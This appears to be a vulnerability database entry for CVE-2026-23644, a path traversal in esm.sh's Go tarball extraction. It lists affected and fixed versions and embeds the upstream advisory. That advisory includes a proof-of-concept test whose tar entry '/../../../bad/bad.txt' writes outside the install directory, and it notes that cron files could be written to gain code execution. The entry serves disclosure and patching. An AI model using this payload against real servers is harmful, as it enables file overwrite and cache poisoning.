CVE-2026-23644: Github.com/esm dev/esm.sh Path Traversal Vulnerability
HIGHCVE-2026-23644 is a HIGH path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/esm dev/esm.sh libraries in the Go ecosystem. The issue involves esm.sh has a path traversal in extractpackagetarball enables file writes from malicious packages. Remediation is available by upgrading affected packages to version 0.0.0-20260116051925-c62ab83c589e.
CVE-2026-23644 at a Glance
How to Fix CVE-2026-23644
To remediate this vulnerability, upgrade all affected Github.com/esm dev/esm.sh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/esm-dev/esm.sh to Latest secure release
Upgrade github.com/esm-dev/esm.sh to 0.0.0-20260116051925-c62ab83c589e
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/esm-dev/esm.sh
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-23644, inspect your project dependencies for Github.com/esm dev/esm.sh:
inspect dependencies for github.com/esm-dev/esm.sh
Analyze the terminal output to locate any version of Github.com/esm dev/esm.sh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260116051925-c62ab83c589e), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/esm dev/esm.sh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-23644 Affected Github.com/esm dev/esm.sh Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/esm-dev/esm.sh
|
Go |
≤ 136
≥ 0.0.1
|
|
|
github.com/esm-dev/esm.sh
|
Go |
< 0.0.0-20260116051925-c62ab83c589e
|
0.0.0-20260116051925-c62ab83c589e
|
References
Frequently Asked Questions
What is CVE-2026-23644?
Which Github.com/esm dev/esm.sh versions are affected?
What version fixes CVE-2026-23644?
Is github.com/esm-dev/esm.sh affected?
What CWE is associated with CVE-2026-23644?
How can I check Go dependencies for CVE-2026-23644?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2657-3c98-63jq",
"modified" : "2026-02-27T22:06:18Z",
"published" : "2026-01-20T17:21:49Z",
"aliases" : [ "CVE-2026-23644" ],
"summary" : "esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages",
"details" : "### Summary\n\nThe [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file.\n\n### PoC\n\nThis test file can demonstrate the basic idea pretty easily:\n\n```go\npackage server\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"testing\"\n)\n\n// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function\n// with a malicious tarball containing a path traversal attempt\nfunc TestExtractPackageTarball_PathTraversal(t *testing.T) {\n\t// Create a temporary directory for testing\n\tinstallDir := \"./testdata/good\"\n\n\t// Create a malicious tarball with path traversal\n\tvar buf bytes.Buffer\n\tgw := gzip.NewWriter(&buf)\n\ttw := tar.NewWriter(gw)\n\n\t// Add a normal file\n\tcontent := []byte(\"export const foo = 'bar';\")\n\theader := &tar.Header{\n\t\tName: \"package/index.js\",\n\t\tMode: 0644,\n\t\tSize: int64(len(content)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(content); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Add a malicious file with path traversal\n\tbad := []byte(\"bad\")\n\theader = &tar.Header{\n\t\tName: \"/../../../bad/bad.txt\",\n\t\tMode: 0644,\n\t\tSize: int64(len(bad)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(bad); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\ttw.Close()\n\tgw.Close()\n\n\t// Call extractPackageTarball with the malicious tarball\n\tif err := extractPackageTarball(installDir, \"test-package\", bytes.NewReader(buf.Bytes())); err != nil {\n\t\tt.Errorf(\"extractPackageTarball returned error: %v\", err)\n\t}\n}\n```\n\n### Impact\n\nIt, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.\n\nArbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.\n\nThe limiting factors in the default setup that limit escalating this to code execution:\n\n - `extractPackageTarball` has a file-extension check which makes some more \"obvious\" escalations like overwriting binaries in `/esm/bin` (e.g. `deno`) impractical since it requires the target file to have an allowlisted extension.\n - Using the `Dockerfile` in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to `/tmp` and it's home directory.\n - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.\n\n### Fix\n\nUsing [`os.Root`](https://go.dev/blog/osroot) seems like it will solve this issue and doesn't require new dependencies.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/esm-dev/esm.sh"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.0.1"
}, {
"last_affected" : "136"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/esm-dev/esm.sh"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.0-20260116051925-c62ab83c589e"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23644"
}, {
"type" : "WEB",
"url" : "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
}, {
"type" : "WEB",
"url" : "https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/esm-dev/esm.sh"
}, {
"type" : "WEB",
"url" : "https://pkg.go.dev/vuln/GO-2025-4138"
}, {
"type" : "WEB",
"url" : "https://pkg.go.dev/vuln/GO-2026-4332"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-20T17:21:49Z",
"nvd_published_at" : "2026-01-18T23:15:48Z"
}
}